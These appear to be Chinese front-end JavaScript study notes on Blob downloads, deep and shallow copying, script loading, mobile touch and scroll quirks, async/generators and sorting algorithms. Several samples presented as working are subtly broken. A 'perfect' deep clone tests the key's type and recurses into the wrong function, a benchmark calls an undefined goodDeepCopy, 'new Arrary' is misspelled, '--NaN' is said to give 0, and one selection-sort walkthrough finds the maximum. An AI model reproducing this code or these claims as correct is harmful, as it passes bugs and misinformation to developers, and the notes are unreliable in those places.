// 其实这个url的生命周期和创建它的窗口中的document绑定,也就是关闭页面了,document没有了,这个url就失效了
// 不过每次都会新建不同的
const url = URL.createObjectURL(blob);
this.$refs.iframe.src = url;
如何导出文件?
一般生成导出文件常用的两种方式: 第一种:直接请求并输出文件流了(整个响应体都是数据流)。 第二种:先请求生成好Excel文件,返回给你链接,然后再请求下载。
第一种由于整个响应体都是二进制数据流,因此需在全局拦截器特殊对待这个响应体,可以根据响应类型单独做判断……
第二种:一般很少采用,因为文件会经常变,每次变都需要生成一份……
不管哪种,在请求时都必须声明。responseType:’blob’,意思响应回来的数据类型是Blob……默认情况下是json文件……
// 相关核心代码,注意这里的data是整个响应体,
let fileName = data.headers['content-disposition'].slice(20);
let url = window.URL.createObjectURL(new Blob([data.data]));
let link = document.createElement("a");
link.style.display = "none";
link.href = url;
link.setAttribute("download", fileName);
document.body.appendChild(link);
link.click();
Javascript相关
深拷贝与浅拷贝
浅拷贝方式:
1. Object.assign():
- 不会拷贝对象继承的属性
- 会忽略不可枚举的属性
- 属性的数据属性/访问器属性
- 可以拷贝Symbol类型
2. 扩展运算符
- 缺陷同Object.assign()
- 如果都是基本类型,很方便
3. Array.prototype.slice
slice() 方法返回一个新的数组对象,这一对象是一个由 begin和 end(不包括end)决定的原数组的浅拷贝。原始数组不会被改变。
在ES6以前,没有剩余运算符,Array.from的时候可以用 Array.prototype.slice将arguments类数组转为真正的数组,它返回一个浅拷贝后的的新数组。
Array.prototype.slice.call({0: "aaa", length: 1}) //["aaa"]
let arr = [1,2,3,4]
console.log(arr.slice() === arr); //false
当然还有类似Array.prototype.concat()
这些可以返回新对象的方式,也可以理解为浅拷贝。
注意:赋值和浅拷贝不同
- 赋值和浅拷贝不同,赋值只是复制了一份指针但仍指向同一个对象;
- 浅拷贝是新建一个对象,但只复制一层对象的属性,不包括对象里面的为引用类型的数据
如下: 修改通过赋值得到的 obj2 中的基本数据会改变原始对象 obj1。而修改浅拷贝得到的 obj3则不会改变原始对象 obj1。
var obj1 = {
name: "zhangsan",
age: "18"
};
var obj2 = obj1; // 赋值
var obj3 = shallowCopy(obj1); // 浅拷贝
function shallowCopy(src) {
var dst = Object.create(null); // 必须有至少一个参数
for (var prop in src) {
if (src.hasOwnProperty(prop)) {
dst[prop] = src[prop];
}
}
return dst;
}
obj2.name = "lisi";
obj3.age = "20";
console.log(obj1);
//obj1 = {
// 'name' : 'lisi',
// 'age' : '18',
//};
console.log(obj2);
//obj2 = {
// 'name' : 'lisi',
// 'age' : '18',
//};
console.log(obj3);
//obj3 = {
// 'name' : 'zhangsan',
// 'age' : '20',
//};
深拷贝方式:
1. JSON.parse(JSON.stringify(obj)) 可谓问题多多。。。
- 不能复制function、正则、Symbol
- 循环引用报错
- 相同的引用会被重复复制
- 拷贝的对象的值中如果有函数,undefined,symbol则经过JSON.stringify()序列化后的JSON字符串中这个键值对会消失
- 无法拷贝不可枚举的属性,无法拷贝对象的原型链
- 拷贝Date引用类型会变成字符串
- 拷贝RegExp引用类型会变成空对象
- 对象中含有NaN、Infinity和-Infinity,则序列化的结果会变成null
- 无法拷贝对象的循环应用(即obj[key] = obj)
2. 借用第三方库lodash,jQuery,zepto等
3. 简版深拷贝等
// 大致问题点:
// 无法复制不可枚举的属性及Symbol类型
// 只针对了Object类型的做了迭代,但Array,Date,RegExp,Error,Function无法拷贝
// 对象有循环引用的问题 (如:obj.a = obj)
function deepClone(obj) {
let dest = Object.create(null);
for (let prop in obj) {
if (obj.hasOwnProperty(prop)) {
typeof obj[prop] === "object"
? (dest[prop] = deepClone(obj[prop]))
: (dest[prop] = obj[prop]);
}
}
return dest;
}
4. 完美版深拷贝等:
// 深拷贝版本一
// 该版本只考虑对象
function deepClone1(obj) {
if (!obj || typeof obj !== "object") {
return obj;
}
let resObj = Object.create(null);
for (let item in obj) {
if (obj.hasOwnProperty(item)) {
typeof item === "object" ? deepClone(item) : (resObj[item] = obj[item]);
}
}
return resObj;
}
var obj = { a: 1, b: 2 };
var obj2 = deepClone1(obj);
// 深拷贝版本二
// 该版本兼容数组
function deepClone1(obj) {
if (!obj || typeof obj !== "object") return obj;
let resObj = Array.isArray(obj) ? [] : {};
Object.keys(obj).forEach(key => {
if (resObj[key]) return;
resObj[key] = deepClone1(obj[key]);
});
return resObj;
}
var obj = { a: 1, b: 2, c: [1, 2, 3] };
var obj2 = deepClone1(obj);
obj2;
// 深拷贝版本三
// 兼容所有并解决循环引用和相同引用的问题
function deepClone1(obj) {
// 为解决循环和相同引用的问题
let copyed = [];
function _deep(obj){
if (!obj || typeof obj !== "object") return obj;
for (let i = 0; i < copyed.length; i++) {
if (copyed[i].target === obj) return copyed[i].copyTarget;
}
let resObj = Array.isArray(obj) ? [] : {};
copyed.push({ target: obj, copyTarget: resObj });
Object.keys(obj).forEach(key => {
if (resObj[key]) return;
resObj[key] = deepClone1(obj[key]);
});
return resObj;
}
return _deep(obj);
}
// 深拷贝版本四
// 高效率版
function finalDeepClone(obj) {
// 数组用WeakMap代替
let copyed = new WeakMap();
function _deep(obj){
if (!obj || typeof obj !== "object") return obj;
if (copyed.has(obj)) return copyed.get(obj);
let resObj = Array.isArray(obj) ? [] : {};
copyed.set(obj, resObj);
Object.keys(obj).forEach(key => {
if (resObj[key]) return;
resObj[key] = _deep(obj[key]);
});
return resObj;
}
return _deep(obj);
}
function deepCopy(target) {
let copyed_objs = []; //此数组解决了循环引用和相同引用的问题,它存放已经递归到的目标对象
function _deepCopy(target) {
if (typeof target !== "object" || !target) {
return target;
}
for (let i = 0; i < copyed_objs.length; i++) {
// 如果当前对象与数组中的对象相同,则不对其递归
if (copyed_objs[i].target === target) {
return copyed_objs[i].copyTarget;
}
}
let obj = {};
if (Array.isArray(target)) {
obj = []; //处理target是数组的情况
}
copyed_objs.push({ target: target, copyTarget: obj });
Object.keys(target).forEach(key => {
if (obj[key]) {
return;
}
obj[key] = _deepCopy(target[key]);
});
return obj;
}
return _deepCopy(target);
}
// 这种深拷贝效果更佳,拷贝日期有问题
function deepClone(target) {
let tempMap = new WeakMap(); // 解决相同或循环引用
function _deep(target) {
// 基本数据类型直接返回值
if (!target || typeof target !== "object") return target;
if (tempMap.has(target)) return tempMap.get(target);
let obj = Array.isArray(target) ? [] : {};
tempMap.set(target, obj);
Object.keys(target).forEach(key => {
if (obj[key]) return;
obj[key] = _deep(target[key]);
});
return obj;
}
return _deep(target);
}
// 可用如下代码测试
var obj = {
num: 0,
str: "",
boolean: true,
unf: undefined,
nul: null,
obj: {
name: "我是一个对象",
id: 1
},
arr: [0, 1, 2],
func: function() {
console.log("我是一个函数");
},
date: new Date(0),
reg: new RegExp("/我是一个正则/ig"),
[Symbol("1")]: 1
};
Object.defineProperty(obj, "innumerable", {
enumerable: false,
value: "不可枚举属性"
});
// 有何意义?
obj = Object.create(obj, Object.getOwnPropertyDescriptors(obj));
obj.a = {loop:obj};
// 为了测试两种方式对大数据的处理,对数据做如下修改
obj.list = new Array(10000).fill(0).map((item, index) => {return {a:index}})
// 测试时间
console.time();
var cloneObj = deepCopy(obj);
console.timeEnd();
// : 175.843994140625ms
console.time();
var cloneObj = goodDeepCopy(obj);
console.timeEnd();
// : 12.794189453125ms
常见问题
// 问:js中function开头加感叹号、分号什么意思?
;function(){}
// 答:js中分号表示语句结束,在开头加上是为了压缩的时候和别的方法分隔一下,表示一个新的语句的开始。
var = {
method:function(){}
}
(function(){
})()
// 压缩后可能出现类似 }}(function 的代码,会被当成一个函数来执行,于是整体解析就错了
// 其实归根结底是解析器ASI(Automatic Semicolon Insertion)不能区分到底语句哪里应该终止
// 参考:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Lexical_grammar
// 逗号运算符,对它的每个操作数求值(从左到右),并返回最后一个操作数的值。
var x = 1;
x = (x++, x);
console.log(x);
// expected output: 2
x = (2, 3);
console.log(x); // 3
// 避免使用eval,Function构造函数,
// 使用 eval 和 Function 构造函数是非常昂贵的操作,因为每次他们都会调用脚本引擎将源代码转换成可执行代码。
// eval它的功能是把对应的字符串解析成JS代码并运行;
// 应该避免使用eval,不安全,非常耗性能(2次,一次解析成js语句,一次执行)。
//----- 取消请求
var xhr = new XMLHttpRequest(),
method = "GET",
url = "https://developer.mozilla.org/";
xhr.open(method,url,true);
xhr.send();
xhr.abort();
//------ 还可以设置定时器超时时间
var xhr = new XMLHttpRequest ();
xhr.onreadystatechange = function () {
if (this.readyState == 4) {
clearTimeout(timeout);
// do something with response data
}
}
var timeout = setTimeout( function () {
xhr.abort(); // call error callback
}, 60*1000);
xhr.open('GET', url, true);
xhr.send();
// open()的第三个参数是表示是否异步发送请求……
// xhr.open方法第三个参数若为false表示为请求为同步……
// 意思就是必须等到服务器响应回来才执行下面的js代码……默认为true……
// 这里的 send()方法接收一个参数,即要作为请求主体发送的数据。
// 如果不需要通过请求主体发送数据,则必须传入 null,因为这个参数对有些浏览器来说是必需的。
// 调用 send()之后,请求就会被分派到服务器。
//------ 原始运算符始终比函数调用要高效
var min = Math.min(a,b);
A.push(v);
// 使用下面的效率高
var min = a < b ? a : b;
A[A.length] = v;
~、~~、 | 运算符: |
- ~ 按位取反运算
- ~~ 取反两次,作用是去掉小数部分,因为位运算的操作值要求是整数,其结果也是整数,所以经过位运算的都会自动变成整数。你想使用比Math.floor()更快的方法,那就是它了。需要注意,对于正数,它向下取整;对于负数,向上取整;非数字取值为0
-
通常用来取整
~~null; // => 0
~~undefined; // => 0
~~Infinity; // => 0
--NaN; // => 0
~~0; // => 0
~~{}; // => 0
~~[]; // => 0
~~(1/0); // => 0
~~false; // => 0
~~true; // => 1
~~1.9; // => 1
~~-1.9; // => -1
1.2 | 0 // 1
1.8 | 0 // 1
-1.2 | 0 // -1
DOMContentLoaded、load、pageshow:
- DOMContentLoaded事件,dom加载完毕后执行,而非文档加载完毕(load事件)
- load事件,文档加载完毕后执行
- pageshow 事件类似于 load 事件,load 事件在页面第一次加载时触发, pageshow 事件在每次加载页面时触发,即 load 事件在页面从浏览器缓存中读取时不触发。为了查看页面是直接从服务器上载入还是从缓存中读取,你可以使用 PageTransitionEvent 对象的 persisted 属性来判断。 如果页面从浏览器的缓存中读取该属性返回 ture,否则返回 false
window.addEventListener('pageshow', function(evt) {
// 如果从缓存中读取
if (evt.persisted) {
// todo
}
})
defer与async:
注意:如果用document.createElement创建的script元素默认是async;async和defer标识的script脚本可能在DOMContentLoaded事件前触发(多数),也可能在之后,但一定都在load事件之前。
一句话,defer是“渲染完再执行”,async是“下载完就执行”。另外,如果有多个defer脚本,会按照它们在页面出现的顺序加载,而多个async脚本是不能保证加载顺序的。
另外就是,如果 script 无 src 属性,则 defer, async 会被忽略;还有就是如果加载一个外链资源,设置了defer,如果一直加载不出来,也不会影响后面的,因为一般接口都会设置超时,等到超时了,也就是不会影响后面的脚本了。因此不会因为一个脚本的加载失败就停止执行后面的脚本。
<script src="script.js"></script>
// 没有 defer 或 async,浏览器会立即加载并执行指定的脚本,“立即”指的是在渲染该 script 标签之下的文档元素之前,也就是说不等待后续载入的文档元素,读到就加载并执行。
<script async src="script.js"></script>
// 有 async,加载和渲染后续文档元素的过程将和 script.js 的加载与执行并行进行(异步)。
<script defer src="myscript.js"></script>
// 有 defer,加载后续文档元素的过程将和 script.js 的加载并行进行(异步),但是 script.js 的执行要在所有元素解析完成之后,一般在DOMContentLoaded 事件触发之前完成,但也不一定。
定时器
定时函数 setTimeout 和 setInterval 都可以接受字符串作为它们的第一个参数。 这个字符串总是在全局作用域中执行。
// 另外就是他们都可以接受多于两个的参数,
// 多余的参数便是传给函数的参数
setTimeout((x,y,z) => {console.log(x,y,z)}, 2000, 1,2,3);
// 1,2,3
// 另外建议不要在调用定时器函数时,为了向回调函数传递参数而使用字符串的形式。
function foo(a, b, c) {}
// 不要这样做
setTimeout('foo(1,2, 3)', 1000)
// 可以使用匿名函数完成相同功能
setTimeout(function() {
foo(1, 2, 3);
}, 1000)
tap点透事件
在pc端大部分操作都是通过鼠标,而响应的就是鼠标事件,包括mousedown、mouseup、mousemove和click事件。一次点击行为,事件的触发过程为:mousedown -> mouseup -> click 三步。
在手机上没有鼠标,所以用触摸(touch)事件来实现类似的功能,touch事件包含touchstart、touchmove、touchend。注意:手机上没有tap事件,手指触发触摸事件的过程为:touchstart -> touchmove -> touchend。
那tap事件怎么来的呢?
在最早iphone的safar浏览器中,为了实现触屏中双击放大效果,当用户点击屏幕时后会判断在300ms内是否有第二次点击,如果有,就理解成双击,若没有就是单击, 就会触发click事件。。。
zepto中的 tap 通过兼听绑定在 document 上的 touch(end) 事件来完成 tap 事件的模拟的(其实是自定义一个tap事件),是通过事件冒泡实现的。因此当对一个弹层绑定tap事件后,点击后,touchend首先触发tap事件,弹层就会隐藏,然后等待300ms如果没有发生其他行为,则就会触发click事件。此时下层同样位置的DOM元素触发了click事件(如果是input框则会触发focus事件),看起来就像点击的target“穿透”到下层去了。
注意:是tap事件触发后,弹层瞬间消失,然后click事件才会作用到下面的元素上。。。因此如果弹层有个消失动画且持续时间大于300ms,那click事件就不会作用到下面的元素上,而是作用在弹层上。。。这也是解决的办法之一(还可以做透明层,300ms后隐藏透明层,目的就是防止click事件作用在下面的元素上)
另外还需注意,自定义的tap事件时绑定在document上的,因此点击后会有个冒泡过程。。。
而fastclick的解决办法,是取消了300ms之后的click事件,而是用touchend来模拟快速点击行为。FastClick在touchEnd的时候,在符合条件的情况下,主动触发了click事件,这样避免了浏览器默认的300毫秒等待判断。为了防止原生的click被触发,这里还通过event.preventDefault()屏蔽了原生的click事件。
FastClick.prototype.onTouchEnd = function(event){
if (!this.needsClick(targetElement)) {
// 如果这不是一个需要使用原生click的元素,则屏蔽原生事件,避免触发两次click
event.preventDefault();
// 触发一次模拟的click
this.sendClick(targetElement, event);
}
}
而FastClick模拟的click事件是在touchEnd获取的真是元素上触发的,而不是通过坐标计算出来的元素。
注意:截至2015年底,大多数移动浏览器——尤其是 Chrome 和 Safari ——不再有300毫秒的触摸延迟,所以 fastclick 在新的浏览器上没有任何好处,而且有可能在你的应用程序中引入 bug。 参考:fastClick使用说明
现代浏览器里有dbclick
事件,而且事件对象里有个detail
属性记录着点击的次数,单击为1,双击为2,其实就是单击没有立即执行,而是等到判断不是双击的时候再执行,如下测试代码:
<input type="button" onclick="aa()" ondblclick="bb()" value="点我">
<script type="text/javascript">
var timer = null;
function aa() {
clearTimeout( timer );
if ( event.detail == 2 )
return;
timer = setTimeout( function () {
console.log( '单击' );
}, 300 );
}
function bb() {
clearTimeout( timer );
console.log( '双击' );
}
</script>
滚动穿透事件
参考:滚动穿透
<!-- 终极解决方案 -->
<style>
body.dialog-open {
position: fixed;
width: 100%;
}
</style>
<script>
(function() {
var scrollTop = 0;
// 显示弹出层
open.onclick = function() {
// 在弹出层显示之前,记录当前的滚动位置
scrollTop = getScrollTop();
// 使body脱离文档流
document.body.classList.add("dialog-open");
// 把脱离文档流的body拉上去!否则页面会回到顶部!
document.body.style.top = -scrollTop + "px";
mask.style.display = "block";
};
// 隐藏弹出层
close.onclick = function() {
mask.style.display = "none";
// body又回到了文档流中(我胡汉三又回来啦!)
document.body.classList.remove("dialog-open");
// 滚回到老地方
to(scrollTop);
};
function to(scrollTop) {
document.body.scrollTop = document.documentElement.scrollTop = scrollTop;
}
function getScrollTop() {
return document.body.scrollTop || document.documentElement.scrollTop;
// 或者下面
// return document.scrollingElement.scrollTop;
}
})();
// 在vue项目里还可以如下,监听是否显示弹窗的标识
// 注意点,一个页面,有效的判断是哪个元素在滚动,有时候不太容易,因此很多时候给一个元素绑定了scroll事件,他并不会执行
// 此时,可以尝试利用document.scrollingElement来实现滚动。scrollingElement是新标准,兼容pc和移动
watch: {
showDialog(newVal) {
if (newVal) {
// 消除移动端滚动穿透
// 打开弹窗时,需要找到滚动元素(有高度,有滚动条),记录当前滚动位置
// 添加fixed定位,因为fixed定位会导致页面滚动到顶部,这里通过js再移动回来
this.scrollTop = document.scrollingElement.scrollTop;
document.scrollingElement.style.position = 'fixed';
document.scrollingElement.style.top = `-${this.scrollTop}px`;
// 上面两句代码还可以用如下:
// document.scrollingElement.style.cssText = `position:fixed;top:-${this.scrollTop}px`;
} else {
// 等到弹窗关闭时,还需要恢复定位,且位置保持不变。
// 这里有个注意事项,不同的定位方式导致元素的文档流模式不同,因此需要使用对应文档流的方法。
// 正常文档流,可以使用滚动,但定位模式下,只能使用定位方式,比如top
document.scrollingElement.style.position = 'unset';
document.scrollingElement.scrollTop = this.scrollTop;
// document.scrollingElement.scrollTo(0, this.scrollTop) // 这种方式也行
}
}
}
</script>
定制滚动条样式::-webkit-scrollbar CSS伪类选择器影响了一个元素的滚动条的样式,伪类选择器类似::after,可以给任何元素添加。关于滚动条主要有以下几个选择器
- ::-webkit-scrollbar — 整个滚动条的样式,一般用来控制整个滚动条的整体样式
- ::-webkit-scrollbar-button — 滚动条上的按钮 (上下箭头).
- ::-webkit-scrollbar-thumb — 滚动条上的滚动滑块.
- ::-webkit-scrollbar-track — 滚动条轨道.
- ::-webkit-scrollbar-track-piece — 滚动条没有滑块的轨道部分.
- ::-webkit-scrollbar-corner — 当同时有垂直滚动条和水平滚动条时交汇的部分.
- ::-webkit-resizer — 某些元素的corner部分的部分样式(例:textarea的可拖动按钮).
body {
// 注意滚动条的宽度,也是包含在元素的offsetWidth里面的
::-webkit-scrollbar {
// 滚动条隐藏,对于长页面来说,有滚动条有提示作用
// 对于明知可滚动的元素,可以隐藏滚动条
// display: none;
width: 3px;
height: 3px;
}
::-webkit-scrollbar-thumb {
border-radius: 10px;
-webkit-box-shadow: inset 0 0 5px rgba(0,0,0,0.2);
background: gold;
}
::-webkit-scrollbar-track {
-webkit-box-shadow: inset 0 0 1px rgba(0,0,0,0);
border-radius: 10px;
background: #ccc;
}
::-webkit-scrollbar-track-piece {
background: #42b983;
}
/* 注明start,表示不包含结尾处的轨道,当然end就正好相反 */
::-webkit-scrollbar-track-piece:start {
background: #2db7f5;
}
// 指定具体类
.scroll-xxx::-webkit-scrollbar {
width: 10px;
height: 10px;
}
}
注意:有时候不太容易确定滚动条到底属于哪个元素的,因此有时候不太容易去掉指定滚动条或者给指定元素添加自定义滚动条
移动端滚动页面不顺畅,在一些ios手机上,有时候滚动列表页时,感觉页面不顺畅(感觉页面时黏在手上似的),设置如下可实现惯性滚动和弹性效果:
- auto: 使用普通滚动, 当手指从触摸屏上移开,滚动会立即停止。
- touch: 使用具有回弹效果的滚动, 当手指从触摸屏上移开,内容会继续保持一段时间的滚动效果。继续滚动的速度和持续的时间和滚动手势的强烈程度成正比。
-webkit-overflow-scrolling: touch;
async、generator、promise
异步编程的最高境界,就是不用关心它是不是异步。。。
一句话,async 函数就是 Generator 函数的语法糖。
ES6 中提出一个叫生成器(Generator)的概念,执行生成器函数,会返回迭代器对象(Iterator),这个迭代器对象可以遍历函数内部的每一个状态。
function* helloWorldGenerator() {
yield 'hello';
yield 'world';
return 'ending';
}
// 通过执行生成器返回迭代器对象
var helloWorldIterator = helloWorldGenerator();
helloWorldIterator.next();
// { value: "hello", done: false }
helloWorldIterator.next();
// { value: "world", done: false }
helloWorldIterator.next();
// { value: "ending", done: true }
helloWorldIterator.next();
// { value: undefined, done: true }
迭代器对象通过调用next()方法,遍历下一个内部状态。。。
对于一个读取文件的生成器函数,有:
var fs = require('fs');
var readFile = function (fileName){
return new Promise(function (resolve, reject){
fs.readFile(fileName, function(error, data){
if (error) reject(error); // 有错误直接抛出
resolve(data); // 否则,
});
});
};
var gen = function* (){
var f1 = yield readFile('/etc/fstab');
var f2 = yield readFile('/etc/shells');
console.log(f1.toString());
console.log(f2.toString());
};
改成async函数,就如下:
var asyncReadFile = async function (){
var f1 = await readFile('/etc/fstab');
var f2 = await readFile('/etc/shells');
console.log(f1.toString());
console.log(f2.toString());
};
一比较就会发现,async 函数就是将 Generator 函数的星号(*)替换成 async,将 yield 替换成 await,仅此而已。 但async函数比generator函数有几点改进:
- 内置执行器。,Generator 函数的执行必须靠执行器,所以才有了 co 函数库,而 async 函数自带执行器。也就是说,async 函数的执行,与普通函数一模一样,只要一行。
- 更好的语义。 async 和 await,比起星号和 yield,语义更清楚了。async 表示函数里有异步操作,await 表示紧跟在后面的表达式需要等待结果。
- 更广的适用性。 co 函数库约定,yield 命令后面只能是 Thunk 函数或 Promise 对象,而 async 函数的 await 命令后面,可以跟 Promise 对象和原始类型的值(数值、字符串和布尔值,但这时等同于同步操作)。
- 返回值是 Promise。async函数的返回值是 Promise 对象,这比 Generator 函数的返回值是 Iterator 对象方便多了。你可以用then方法指定下一步的操作。
进一步说,async函数完全可以看作多个异步操作,包装成的一个 Promise 对象,而await命令就是内部then命令的语法糖。
async 函数的实现原理,就是将 Generator 函数和自动执行器,包装在一个函数里。
async function fn(args) {
// ...
}
// 等同于
function fn(args) {
return spawn(function*() {
// ...
});
}
function spawn(genF) {
return new Promise(function(resolve, reject) {
const gen = genF();
function step(nextF) {
let next;
try {
next = nextF();
} catch (e) {
return reject(e);
}
if (next.done) {
return resolve(next.value);
}
Promise.resolve(next.value).then(
function(v) {
step(function() {
return gen.next(v);
});
},
function(e) {
step(function() {
return gen.throw(e);
});
}
);
}
step(function() {
return gen.next(undefined);
});
});
}
async函数返回一个 Promise 对象,可以使用then方法添加回调函数。当函数执行的时候,一旦遇到await就会先返回,等到异步操作完成,再接着执行函数体内后面的语句。
function timeout(ms) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}
async function asyncPrint(value, ms) {
await timeout(ms);
console.log(value);
}
asyncPrint('hello world', 5000);
上面代码指定 5000 毫秒以后,输出hello world。
正常情况下,await命令后面是一个 Promise 对象,返回该对象的结果。如果不是 Promise 对象,就直接返回对应的值。
async function f() {
// 等同于
// return 123;
return await 123;
}
f().then(v => console.log(v))
上面正常情况下await后是跟着promise(而这个promise会返回一个对象),但如果不是promise,而是一个常量,则没有返回值,此时需要用return await
常用算法
复杂度:数组长度100,如果循环100次,其时间复杂度就是100,若里面再嵌套一个100数组的for循环,则复杂度就是100*100 = 10000次;若没有嵌套,只是并且的执行两个for循环,则复杂度是100+100 = 200,因此对于大数据情况,少用嵌套。。。
var arr100 = new Arrary(100);
var arr1000 = new Arrary(1000);
let map = {};
arr100.forEach(item => {
map[item.id] = item;
item.arr = [];
})
arr1000.forEach(item => {
if(map[item.id]) return;
map[item.id].arr.push(item)
})
另外就是复杂度可分为时间和空间,时间的话可以理解为计算的次数,而空间的话,可以理解为占用的内存空间。一般为了提高性能都是空间换时间,也就是说,可以多占点内存,节省点时间,比如上面两个循环单独执行,而不是嵌套。
还有一种就是类似菲波那切数列的情况
var count = 0;
var fibonacci = function(n) {
count++;
return n < 2 ? n : fibonacci(n - 1) + fibonacci(n - 2);
};
for (var i = 0; i <= 10; i++) {
fibonacci(i);
}
// 计算到10的斐波那契额数列竟然运行了453次函数调用
console.log(count); // 453
// 当执行 fib(0) 时,调用 1 次
// 当执行 fib(1) 时,调用 1 次
// 当执行 fib(2) 时,相当于 fib(1) + fib(0) 加上 fib(2) 本身这一次,共 1 + 1 + 1 = 3 次
// 当执行 fib(3) 时,相当于 fib(2) + fib(1) 加上 fib(3) 本身这一次,共 3 + 1 + 1 = 5 次
// 当执行 fib(4) 时,相当于 fib(3) + fib(2) 加上 fib(4) 本身这一次,共 5 + 3 + 1 = 9 次
// ...
常用排序
冒泡排序:(依次比较相邻的两数,然后交换位置,依次将最大或最小放到数组最后,每次循环都可减少一轮)
冒泡排序只涉及相邻数据的交换,只需要常量级的临时空间,因此空间复杂度为O(1)
最好的情况是待排序的数据已经是有序的,因此只需要一次冒泡就结束了,时间复杂度为O(n),当然最坏就是正好相反,所以为O(n的平方)
function bubleSort(arr) {
let arrLen = arr.length
if(arrLen <= 1) return arr //必须返回数组
for(let i = 0; i < arrLen - 1; i++){
let flag = true; //加标志位,如果一轮循环内没有一次交换数据,说明已排好序
for(let j = 0; j < arrLen - i -1; j++){
if(arr[j] > arr[j+1]){
[arr[j+1],arr[j]] = [arr[j],arr[j+1]]
flag = false
}
// 还可以这样,
// arr[j] > arr[j+1] && ([arr[j+1], arr[j]] = [arr[j], arr[j+1]])
}
// 与内层for循环同级
if(flag) break
}
return arr
}
冒泡排序为了更好理解,可以分解为:
- 先将数组中最大移到最后
// 只需比较arr.length -1次 for(let j = 0; j < arr.length - 1; i++){ if(arr[j] > arr[j+1]){ [arr[j],arr[j+1]] = [arr[j+1],arr[j]] } }
- 重复多次,将数组中其他依次大的值移到后面
for(let i = 0;i<arr.length-1;i++){ // 务必注意,外层每循环一次,内层就会减少一层遍历,因为最大值不需要再比对了 for(let j = 0;j<arr.length-1-i;j++){ if(arr[j]>arr[j+1]){ [arr[j],arr[j+1]] = [arr[j+1],arr[j]] } } }
- 如果数组的次序排列一次就好了,还需要再排吗
for(let i = 0;i<arr.length-1;i++){ // 声明变量,假如已经排好序 let flag = true for(let j = 0;j<arr.length-1-i;j++){ if(arr[j]>arr[j+1]){ [arr[j],arr[j+1]] = [arr[j+1],arr[j]] // 如果交换次序,说明排序还没有完成 flag = false } } console.log(1) // 这里可以打印次数,如果已经排好序就不会再继续排序了 // 应该和内层for循环同级 if(flag) break }
插入排序:(将一个序列先分为两部分,已排序和未排序区间,已排序可以默认为数组第一个元素,核心就是取未排序区间中的元素,在已排序区间中找到合适位置插入即可)
涉及元素的比较,及元素的移动(需要将插入点的元素往后移动一位,这样才能腾出空间给元素插入)
function insertSort(arr){
let arrLen = arr.length
if(arrLen <= 1) return arr // 必须返回数组
// 从第一项开始遍历待排序,一一取出
for(let i = 1; i< arrLen; i++){
let value = arr[i]
j = i - 1; // 已排序的索引最大就是i-1,其实是倒着比,如果比最后一个还大,就只需比一次
// 查找插入的位置
for(; j >= 0; j-- ){
// 如果已排序的比未排序的大,则将已排序的数据后移
if(arr[j] > value){
arr[j+1] = arr[j] //数据移动
}else{
// 如果最后一个都比value小,前面的则更小,就没必要再比了,跳出整个循环
break
}
}
// 等到内层循环完,也就移动完了,也就空出一个位置
arr[j+1] = value //因为j索引的数组是最终的数组,因此
}
return arr
}
插入排序的空间复杂度为O(1),最好情况的时间复杂度为O(n),最坏情况则为O(n的平方)
选择排序:类似插入排序,也分为已排序和未排序区间,但是每次会从未排序区间找到最小的元素,将其放到已排序的末尾
function selectSort(array) {
if (Object.prototype.toString.call(array).slice(8, -1) === 'Array') {
var len = array.length, temp;
for (var i = 0; i < len - 1; i++) {
var min = array[i];
for (var j = i + 1; j < len; j++) {
if (array[j] < min) {
[array[j], min] = [min, array[j]]
}
}
array[i] = min;
}
return array;
} else {
return 'array is not an Array!';
}
}
选择排序也可以分解为如下:
- 循环一遍,先找到数组中最小的值,因为后面要操作这个值,所以得记下index
// 假设最小值的index let minIdx = 0 // 至于length是否减一,就要根据需求是否要取到最后一个元素了 for(let i = 0; i< arr.length;i++){ if(arr[minIdx] > arr[i]){ // 将最小值的index赋值给minIdx minIdx = i } }
- 再比较选出来的最小值与假设的最小值
let minIdx = 0 for(let i = 0; i< arr.length;i++){ if(arr[minIdx] > arr[i]){ minIdx = i } } if(arr[0] !== arr[minIdx]){ // 如果不等于,说明最小值不是假设的那个 // 然后交换二者位置,所以要存index [arr[0],arr[minIdx]] = [arr[minIdx],arr[0]] }
- 假设每次外层循环的开始值是最小
for(let i = 0;i<arr.length;i++){ let minIdx = i for(let j =i+1;j<arr.length;j++){ if(arr[minIdx] < arr[j]){ minIdx = j } } if(arr[i] !== arr[minIdx]){ [arr[i],arr[minIdx]] = [arr[minIdx],arr[i]] } }
插入排序的空间复杂度为O(1),最好、最坏情况时间复杂度都为O(n的平方)。。。再来对比下三者
可以看出,对于冒泡,插入,选择排序三种算法,时间复杂度都是O(n的平方)比较高,适合小规模数据的排序。。。还有时间复杂度为O(nlogn)的排序算法,归并排序和快速排序,这两种比较适合大规模的数据排序。而且也很好的体现了分治的思想
归并排序:如果要排序一个数组,可以先把数组从中间分成前后两部分,然后再对前后两部分继续分开。。。直到不能分,并排序,最后将排好序的两部分合并在一起。
function mergeSort(arr){
// 设置终止的条件,
if (arr.length < 2) {
return arr;
}
//设立中间值
var middle = parseInt(arr.length / 2);
//第1个和middle个之间为左子列
var left = arr.slice(0, middle);
//第middle+1到最后为右子列
var right = arr.slice(middle);
if(left=="undefined"&&right=="undefined"){
return false;
}
return merge(mergeSort(left), mergeSort(right));
}
function merge(left, right){
var result = [];
while (left.length && right.length) {
if(left[0] <= right[0]){
//把left的左子树推出一个,然后push进result数组里
result.push(left.shift());
}else{
//把right的右子树推出一个,然后push进result数组里
result.push(right.shift());
}
}
//经过上面一次循环,只能左子列或右子列一个不为空,或者都为空
while (left.length){
result.push(left.shift());
}
while (right.length){
result.push(right.shift());
}
return result;
}
// 测试数据
var nums=[6,10,1,9,4,8,2,7,3,5];
mergeSort(nums); //
归并排序需要另外开辟一个空间,进行存储排好序的数组作为中间过渡状态。。。
快速排序:
参考:快速排序(阮一峰)
- 在数据集中,选择一个元素作为基准(pivot)
- 所有小于”基准”的元素,都移到”基准”的左边;所有大于”基准”的元素,都移到”基准”的右边。
- 对”基准”左边和右边的两个子集,不断重复第一步和第二步,直到所有子集只剩下一个元素为止。
var quickSort = function(arr) {
if (arr.length <= 1) { return arr; }
var pivotIndex = Math.floor(arr.length / 2);
// splice返回的是数组,因此[0]就可以取出具体的值
var pivot = arr.splice(pivotIndex, 1)[0]; // 务必要注意,这里修改数组,数组的长度已经发生变化了
var left = [];
var right = [];
// 注意这里的数组长度是动态变化的,不能一开始就用变量缓存长度
for (var i = 0; i < arr.length; i++){
if (arr[i] < pivot) {
left.push(arr[i]);
} else {
right.push(arr[i]);
}
}
return quickSort(left).concat([pivot], quickSort(right));
};
